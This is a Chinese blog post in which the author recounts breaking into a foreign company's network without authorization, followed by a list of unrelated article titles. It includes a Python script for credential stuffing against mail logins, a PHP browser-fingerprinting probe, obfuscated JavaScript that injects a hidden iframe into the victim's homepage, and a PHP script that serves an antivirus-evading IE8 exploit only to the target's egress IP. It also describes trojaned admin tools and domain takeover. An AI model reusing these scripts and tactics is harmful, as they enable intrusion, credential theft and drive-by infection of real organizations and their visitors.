文章均由自己原创,只是一直没有在自己博客发表。本地附件也没有了,我是从网上找来我的以前的投稿。

写在之前的废话:小菜技术能力不行,如果你觉得此文实在看不下去,还请PASS掉。如果你对我的文章有兴趣,可以与我一起交流。文章因为敏感无图,业内人士看看自然懂。

由于XXX耗时长,需要的支持多,而且目标敏感。在这里,我们不便介绍目标背景,也不多说其他的,直接来进入主题。

某国某目标,我盯了它大概半年。嗯,终于有一天,我觉得时机成熟,下手吧。

在渗透目标的前期,我们需要了解对方公司的安全意识。以及需要搜集所有网站的IP,公司的出口,以及公司网段所存在的B-C段,公司人员邮箱,公司人员爱好,facebook等信息。

首先,我把目标公司的WEB都给搜集好了,大公司一般C段都是在一起的。而我有个习惯,在渗透目标的时候,先喜欢把OWA的段找出来扫一下。这样大概的就知道了公司的架构情况。而很多时候,大公司都是会把WEB段给区分的,哪几个外网IP段是管理WEB的,哪几个段是放数据库的。不过随着网络越趋复杂,就算拿到了WEB 也就是在DMZ徘徊。不过只要拿到了WEB就好说了。Go把。

千辛万苦拿下来了这个公司的一个WEB,WEB如何拿下来咱们不多说。不是重点。当我分析内网情况的时候,环境就是在DMZ,system权限。通过判断协议,TCP HTTP都没问题。于是,我把DMZ WEB给中了一个马,这样更容易操作,至少得到了一个交互式的shell。先把远控抛开不说,通过netstat -ano分析。WEB服务器连上了在内部的一台数据库服务器。于是我找到了WEB服务器的web.config脚本,成功得到了数据库账户密码,但是数据库账户权限非SA,而且SQL SERVER版本是2008(悲剧,MSSQL 2000的话直接就远程溢出了).没办法,就算我们导了个shell,又有何用?不着急,慢慢分析,于是我试着去ping内网数据库机器,PING不通,接着我在拿S扫描器开了很小的线程,扫了扫WEB连接的数据库那台机器。和我猜想的结果是一样,这种情况我不是第一次碰到了。就只有个1433能够过去。这时,我猜想大概的内网架构是这样的:

WEB–>防火墙–>数据库服务器–>内网(而当我搞下来,发现情况并不是这样的)

算了,没办法。先不管了,连上数据库,分析数据,看能否去撞号,登OWA或者邮箱之类的。

于是写了个PYTHON脚本,去跑他们的OWA(这个脚本是N年前写的,可能不太符合,大家去改改就好了。原理差不多):

import smtplib ,sys ,timedef main():server = "smtp.live.com" #gmail smtp.gmail.com, yahoo smtp.mail.yahoo.comfp = open("D:\python\\hotmail.txt")fp1 = open("d:\python\\save.txt", 'a+')while 1:line = fp.readline()uandp = line.split(' ')name = uandp[0]name = name.split('@')[0]pwd = uandp[1]pwd = pwd.split("\n")[0]try:smtp = smtplib.SMTP_SSL(server,465)  # gmail 465except:print "[*]Connect Error."sys.exit(0)passtry:#smtp.set_debuglevel(1)#smtp.ehlo()#smtp.starttls()smtp.ehlo()smtp.login(name,pwd)except:print "[-]:%s:%s" % (name, pwd)pass#time.sleep(1)else:out = "[+]:%s:%s\n" % (name, pwd)print outfp1.write(out)fp1.flush()smtp.quit()smtp.close()fp.close()fp1.close()if __name__=="__main__":main()

分析完数据,把数据库中的目标人物邮箱都给挑选出来。跑完。手工测试VPN,都失败了。没办法,继续另寻其他的路子。

来回到远控,通过分析,本机WEB有一个员工登录的地方,但是是.NET的。不能改代码。因为如果改写代码,需要重新编译(这里可能我说的有错。)但是有一个员工登录的地方我们就已经足够了,这里也先不管它。先分析再说。

我的远控是可以切换用户的,只要有用户在,可以切换到对方的用户下。首先分析了本地管理组的用户,抓密码。Query user 发现有几个用户在线。于是我切换到每个用户,主要就是查看IPC 。功夫不负有心人,当我切换到B的会话下的时候,NET USE看了看。大家猜我看到了啥?(可能你会想,咱们不是在DMZ吗?会话咋来的? 管理员从内网连过来。)

C:\ProgramData>net useNew connections will be remembered.Status       Local     Remote                    Network-------------------------------------------------------------------------------\\TSCLIENT\C              Microsoft Terminal Services\\TSCLIENT\D              Microsoft Terminal Services\\TSCLIENT\E              Microsoft Terminal Services\\TSCLIENT\F              Microsoft Terminal ServicesThe command completed successfully.

没错,管理员从内网连接过来,把盘给带过来了。这下有得玩了。于是我分析了连接过来的那个盘。通过netstat -ano 知道了带过盘来的那机器的IP。赶紧分析,知道了对方是管理员,在OWA的MAILBOX服务器上链接过来的。搞的多的就知道,MAILBOX是没WEB的,当然也有。MAILBOX主要的作用就是来存储MAIL的邮件数据。于是我CURL,S扫描了服务器的那个段。一样的,我DMZ怎么都过不去,而且对方常用端口也没开。如果开了,咱们直接复制个shell就过去,本地借用内网那台服务器执行命令就可以了。但是环境不允许我们这么容易就进入别人内网,扭转了几天,还是没办法,当我最后分析到另外一个盘符的时候,我竟然看到了IT服务器的一个盘,里面有IT部门的一部分密码。赶紧下载分析。这样,基本上我判断,域管可能在里面。于是我来到VPN,一个一个测试,竟然都失败了。心想:FUCK,肯定这个是一个小域,没有VPN可以有权限登录。然后在一个一个来测试OWA,竟然登录进去了一个。分析所有邮件,搜索关键字:PASSWORD FTP RDP SERVER,HACKER。等字眼。没有所获,就看到一封说近期有人在搞他们公司,需要加强安全防范的邮件(当然不是我。)。可能这时候很多人想:发邮件,绑马? 如果说你有0DAY或者免杀好的NDAY可以这样做。不然就是找死了。

这个时候,我还是信心满满的,不是有IT部门的盘吗? 嘿嘿,下载了几个常用的工具,比如VPN,补丁。绑马了,在传上去。还给CMD绑了个马,放到了MAILBOX的c:\users\**\desktop

把每个用户桌面上都放了一个CMD.EXE。就不相信管理员不运行。

等啊等啊,等了差不多半个月。没任何反映,决定还是自己出手。不然就被动,连WEB掉了都不好了。

从网上找代码,自己改写了一个PHP,在WEB服务器上挂了一个探针。这里有个小知识:WEB服务器不是http协议的,而是https来进行访问的,所以我们需要找一个https的网站(绿标的那种),不然你是探针不到任何信息的。说做就做,HTTPS绿标的网站我多的是,而PHP代码简单,改写代码如下:

function getBrowse() { global $_SERVER; $Agent = $_SERVER['HTTP_USER_AGENT']; $browser = ''; $browserver = ''; $Browser = array('Lynx', 'MOSAIC', 'AOL', 'Opera', 'JAVA', 'MacWeb', 'WebExplorer', 'OmniWeb'); for($i = 0; $i <= 7; $i ++){ if(strpos($Agent, $Browsers[$i])){ $browser = $Browsers[$i]; $browserver = ''; } } if(ereg('Mozilla', $Agent) && ereg('Maxthon', $Agent)){ $temp = explode('Maxthon/', $Agent); $Part = $temp[1]; $temp = explode(' ', $Part); $browserver = $temp[0]; $browser = 'Maxthon'; } if(ereg('Mozilla', $Agent) && ereg('Chrome', $Agent) && !ereg('Maxthon', $Agent)){ $temp = explode('Chrome/', $Agent); $Part = $temp[1]; $temp = explode(' ', $Part); $browserver = $temp[0]; $browser = 'Chrome'; } if(ereg('Mozilla', $Agent) && ereg('Opera', $Agent)) { $temp = explode('(', $Agent); $Part = $temp[1]; $temp = explode(')', $Part); $browserver = $temp[1]; $temp = explode(' ', $browserver); $browserver = $temp[2]; $browserver = preg_replace('/([d.]+)/', '\1', $browserver); $browserver = $browserver; $browser = 'Opera'; } if(ereg('Mozilla', $Agent) && ereg('MSIE', $Agent)){ $temp = explode('(', $Agent); $Part = $temp[1]; $temp = explode(';', $Part); $Part = $temp[1]; $temp = explode(' ', $Part); $browserver = $temp[2]; $browserver = preg_replace('/([d.]+)/','\1',$browserver); $browserver = $browserver; $browser = 'Internet Explorer'; } if($browser != ''){ $browseinfo = $browser.' '.$browserver; } else { $browseinfo = 'Unknow Browser'; } return $browseinfo; } function getIP() {return isset($_SERVER["HTTP_X_FORWARDED_FOR"])?$_SERVER["HTTP_X_FORWARDED_FOR"]:(isset($_SERVER["HTTP_CLIENT_IP"])?$_SERVER["HTTP_CLIENT_IP"]:$_SERVER["REMOTE_ADDR"]);}function getOS () { global $_SERVER; $agent = $_SERVER['HTTP_USER_AGENT']; $os = false; if (eregi('win', $agent) && strpos($agent, '95')){ $os = 'Windows 95'; } else if (eregi('win 9x', $agent) && strpos($agent, '4.90')){ $os = 'Windows ME'; } else if (eregi('win', $agent) && ereg('98', $agent)){ $os = 'Windows 98'; } else if (eregi('win', $agent) && eregi('nt 6.1', $agent)){ $os = 'Windows 7'; }else if (eregi('win', $agent) && eregi('nt 6', $agent)){ $os = 'Windows Vista'; }  else if (eregi('win', $agent) && eregi('nt 5.1', $agent)){ $os = 'Windows XP'; } else if (eregi('win', $agent) && eregi('nt 5', $agent)){ $os = 'Windows 2000'; } else if (eregi('win', $agent) && eregi('nt', $agent)){ $os = 'Windows NT'; } else if (eregi('win', $agent) && ereg('32', $agent)){ $os = 'Windows 32'; } else if (eregi('linux', $agent)){ $os = 'Linux'; } else if (eregi('unix', $agent)){ $os = 'Unix'; } else if (eregi('sun', $agent) && eregi('os', $agent)){ $os = 'SunOS'; } else if (eregi('ibm', $agent) && eregi('os', $agent)){ $os = 'IBM OS/2'; } else if (eregi('Mac', $agent) && eregi('PC', $agent)){ $os = 'Macintosh'; } else if (eregi('PowerPC', $agent)){ $os = 'PowerPC'; } else if (eregi('AIX', $agent)){ $os = 'AIX'; } else if (eregi('HPUX', $agent)){ $os = 'HPUX'; } else if (eregi('NetBSD', $agent)){ $os = 'NetBSD'; } else if (eregi('BSD', $agent)){ $os = 'BSD'; } else if (ereg('OSF1', $agent)){ $os = 'OSF1'; } else if (ereg('IRIX', $agent)){ $os = 'IRIX'; } else if (eregi('FreeBSD', $agent)){ $os = 'FreeBSD'; } else if (eregi('teleport', $agent)){ $os = 'teleport'; } else if (eregi('flashget', $agent)){ $os = 'flashget'; } else if (eregi('webzip', $agent)){ $os = 'webzip'; } else if (eregi('offline', $agent)){ $os = 'offline'; } else { $os = 'Unknown'; } return $os; }

这里贴的PHP代码并非完整的,大家可以自己去改写。

脚本的功能是获取来源IP,OS,浏览器版本等等。当然如果你觉得还少,你可以加入探针JAVA,FLASH的一些功能。这里不在多说。

于是来到WEB主站,查看主页调用的JS。在JS里插入一段混淆代码。

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('5.6("<1 4=\\"2://3//9.a\\" 7=0 8=0></1>");',11,11,'|iframe|https|xxx|src|document|write|height|width|Ie|php'.split('|'),0,{}))

而原型如下:

document.write("<iframe src=\"https://xxx//Ie.php\" height=0 width=0></iframe>");

接下来我们要做的就是分析来源IP,等待了几天以后。我查看了探针的地址。记录了不少IP.但是那么多IP应该如何来确定哪个是他们的出口IP呢?

没办法,偷懒把,写了个PYTHON脚本:

#!/usr/bin/env python#-*- coding:utf-8 -*-import sysimport threadingimport httplibimport reimport timeclass Myclass(threading.Thread):def __init__(self,host,path):threading.Thread.__init__(self)self.host = hostself.path = pathself.result = []def run(self):if "https://" in self.host:conn = httplib.HTTPSConnection(self.host,80,None,None,False,10)else:conn = httplib.HTTPConnection(self.host,80,False,10)i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-Us; rv:1.9.1) Gecko/20090624 Firefox/3.5","Accept": "text/plain"}conn.request('GET',self.path,headers = i_headers)r1 = conn.getresponse()text = r1.read()text1 = text.lstrip()#size = text.count("\n")test = open('ip.txt','a+')test.write(text1)b = open("ip.txt",'r')c = open("ids.txt",'w')for line in b.readlines():m = re.search(r'(IP:\d*.\w*.\d*.\d*.\d*)',line)        mm =  m.group(0)owa = mm.replace("IP:","").strip().replace("\n","")self.result =  owa.replace("\n","")c.write(self.result)c.write("\n")#print "write success"g = open("ids.txt",'r')for lines in g.readlines():getsip =  lines.replace("\n","")try:conns = httplib.HTTPConnection("bgp.he.net",80,False,10)except Exception:print "[-]:connection out time"breakelse:conns.request('GET','/ip/%s' % getsip,headers = i_headers)r2 = conns.getresponse()texts = r2.read()try:line_split = re.search(r'(<u>.*\d+\D+.*.title=)',texts)obj =  line_split.group(0)print "server:",obj.replace("<u>","").replace("</u>","").replace("\n","").replace("(<a href=\"","search domain:").replace("\" title=","").replace("/dns/","")except Exception, e:passtime.sleep(5)#print line_splitdef main():if len(sys.argv) < 3:print "[*]:Usage python info.py 127.0.0.1 /path"sys.exit(1)Mythread = Myclass(sys.argv[1],str(sys.argv[2]))Mythread.start()if __name__ == "__main__":main()

这个脚本的功能是先把目标网站记录的IP地址全部给读取下来,在本地保存为TXT,在循环依次读取一个IP,来到接口bgp.he.net 这个接口查询。至于如何分辨公司出口IP,不在多说了。看IP信息以及访问源就知道了。

成功获取到对方公司的出口IP,接下来就好办了。知道对方用的浏览器版本,OS,等等。

于是先决定先测试ie8的漏洞,网上找了个IE8的漏洞。本地WIN7 XP测试没问题(因为对方公司还是有人在用IE8,win7默认就是IE8)。但是网上找的IE8的漏洞都是被杀的不行的,于是心想,自己做把。

于是网上找了一个BASE64 JS解密脚本,把IE8的网马内写了几个函数,把核心代码都给放到函数里。然后直接把函数内都给BASE64加密了。OK,很简单把,不杀了。

但是我们在挂马的时候,并不是瞎挂。而是必须有针对性的挂,不然你挂上,杀毒软件一下把你样本给抓走了。改天又出这报告又出那报告的。多丢人。那就得需要一个定向挂马的脚本了。因为对方的HTTPS的,我VPS上没装HTTPS的证书,心想,直接就通过WEBSHELL把这串代码放到绿标的HTTPS网站上就好了。

定向挂马脚本如下:

function check_ip(){$ALLOWED_IP=array('192.168.2.*','目标公司出口IP');$IP=getIP();$check_ip_arr= explode('.',$IP);if(!in_array($IP,$ALLOWED_IP)) {foreach ($ALLOWED_IP as $val){if(strpos($val,'*')!==false){$arr=array();$arr=explode('.', $val);$bl=true;for($i=0;$i<4;$i++){if($arr[$i]!='*'){if($arr[$i]!=$check_ip_arr[$i]){$bl=false;break;}}}if($bl){return;die;}}}header('HTTP/1.1 403 Forbidden');exit();die;} else{}

脚本的else后头,就是调用的那个网马了。

我把这个脚本和IE网马都给放到了绿标的网站上,于是重新在目标网站上,把探针去了。加入咱们的PHP脚本地址,远程调用。接下来要做的事情就是等着把。

谁没成想:刚挂上没5分钟,目标公司人中了我的网马,上线了。擦噢,这人品,不是一般的好。

赶紧把代码给取了。做内网渗透去了。而当我们到达内网的时候,内网情况却是这样的

DMZ-> WAF-> mailbox(我来到了这台服务器上)-> IDS/IPS-> 另外的域-> 主域

妈的额,好麻烦。没办法啦。之前拿下来了IT的管理密码的清单,先把当前域搞下来再说。毫无悬念的,直接连上了当前的域,控制了OWA SERVER。擦屁股走人,远控上操作去了。

虽然拿下来了这个域,但是这个域内就那么几十台个人机,而目标公司是几万人,看样子这个是他们的一个分的部门。只有继续深入了。

接下来我们要找的就是其余域的其他网段了,我ping了下目标公司的主站www.xxoo.com,嗯,内网IP地址是10.xx.xx.xx,嗯,虽然能够PING通,但是IPC这些都是不行的。接下来要做的就是打入其他域,搞定其他域,慢慢深入。

于是把目标个公司所有域名全部给搜集起来,在内网一个一个ping,把返回是内网的IP地址都给记录下来。

然后把朋友写的扫描器,指定线程,上去扫常用的WEB框架,数据库之类的东西。

预知后事如何,还请听下回分解。谢谢。

目前主域已经搞下来了,但是无奈没域管,好不容易抓到。但是被BIT9发现我了,把我又T出来了。还是得慢慢来,不着急,慢慢分析把。下回且听分析如何绕过防范不严的BIT9。

很多人看了文章可能会觉得我说的太笼统了,倒是。我不可能那么详细的说出来一些东西,但是如果你能够在这个文章里学习到新的思路,那就是我写这个文章的目的。

转载于:https://www.cnblogs.com/killbit/p/4850250.html

(原创)对某国的一次渗透相关推荐

  1. [原创]K8Cscan 3.8大型内网渗透自定义扫描器(支持批量C段/B段/A段/IP列表/URL列表/跨网段扫描)

    前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高 但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率 漏洞时效性1-2天,扫描内网或外网 ...

  2. 最大独立匹配_新车|升级柴油国六动力,配后排独立座椅,瑞风M5新车型上市...

    文:懂车帝原创 高帅鹏 [懂车帝原创 产品] 随着国六排放标准在全国范围逐步实施,国内车企迎来了国五向国六车型切换.日前,我们从江淮商务车官方获悉,全新瑞风M5柴油版上市,新车先期推出一款车型,售价为 ...

  3. 【pmcaff】事件营销口碑传播疯传的秘诀在哪里?

    点击上方 "公众号" 可以订阅哦! 疯传中有句话特别好,让你的产品.思想.行为像病毒一样入侵用户的大脑.其实,本质上说的是病毒式的传播方式,但你有没有想过为什么会形成病毒式的传播呢 ...

  4. Hexo博客配置笔记

    安装Hexo npm install hexo-cli -g cd /blog hexo init 安装next主题 git clone https://github.com/iissnan/hexo ...

  5. 儒家、道家、释家之异同(下)

    一. 天人合一,或称天人合德."天人相应",是中国古代的一种哲学思想,儒.道.释三家均有阐述.其基本思想是人类的生理.伦理.政治等社会现象是自然的直接反映.最早起源于春秋战国时期, ...

  6. 红蓝对抗-HW红蓝队基本知识

    第一章 什么是蓝队 蓝队,一般是指网络实战攻防演习中的攻击一方. 蓝队一般会采用针对目标单位的从业人员,以及目标系统所在网络内的软件.硬件设备同时执行多角度.全方位.对抗性的混合式模拟攻击手段:通过技 ...

  7. 2023年网络安全竞赛B模块专项练习题(ALL)

    2023年网络安全竞赛B模块专项练习题(ALL) 目录 B模块安全事件响应/网络安全数据取证/应用安全(400分)... 1 任务一:nmap扫描渗透测试1. 1 任务二:nmap扫描渗透测试2. 1 ...

  8. 盘点 Oracle 11g 中新特性带来的10大性能影响

    盘点 Oracle 11g 中新特性带来的10大性能影响 原创 2017-08-02 盖国强 数据和云 Oracle的任何一个新版本,总是会带来大量引人瞩目的新特性,但是往往在这些新特性引入之初,首先 ...

  9. 红队视角下的防御体系突破之第二篇案例分析

    文章目录 0x04 红队三十六计--经典攻击实例 一. 浑水摸鱼--社工钓鱼突破系统 二. 声东击西--混淆流量躲避侦察 三. 李代桃僵--旁路攻击搞定目标 四. 顺手牵羊--巧妙种马实施控制 五. ...

最新文章

  1. js进阶 11-16 jquery如何查找元素的父亲、祖先和子代、后代
  2. TypeScript里的混合类型
  3. 最美教师颁奖词计算机,[最美教师张玉滚颁奖词]最美教师颁奖词
  4. tomcat 软连接问题
  5. linux搭建Django环境,linux下搭建python Django环境及启动一个示例
  6. ElasticFusion: Real-Time Dense SLAM and Light Source Estimation
  7. 使用Kotlin的Android TextView –全面教程
  8. 高通联手商汤科技共推终端人工智能
  9. 【西瓜书】决策树ID3算法
  10. 一个能够让你快速从html结构生成css结构的vscode插件
  11. 中文如何翻译成英文?手机中英文一键翻译超简单
  12. Linux网络编程 - 在服务器端运用进程间通信之管道(pipe)
  13. 测试显示器分辨率和尺寸
  14. 【码农话健身】入门级颈部锻炼
  15. 有限状态机代码生成器 FsmCrater
  16. Linux就该这么学第十三节课学习心得
  17. 团体程序设计天梯赛-练习集)(5分)
  18. keilC51编译常见错误和警告说明
  19. canvas初识及其简单使用
  20. Eureka学习过程

热门文章

  1. java dateformat hh_Java 中时间处理SimpleDateFormat 中HH和hh的区别
  2. linux1到10累加,10个有趣的 Linux 命令
  3. 『设计模式』写代码偷懒小技巧,程序开发大智慧--享元模式
  4. linux-shell命令之rmdir(remove dir)【删除目录】
  5. [Golang] GOROOT、GOPATH和Project目录说明
  6. (原创总结) 几种通信编码方式
  7. python 中的static-method (静态函数), classmethod(类函数 ), 成员函数
  8. Mac OSX中memcached安装测试
  9. 数据分析模型和工具_数据分析师工具包:模型
  10. rw data 、ro data 和 code详解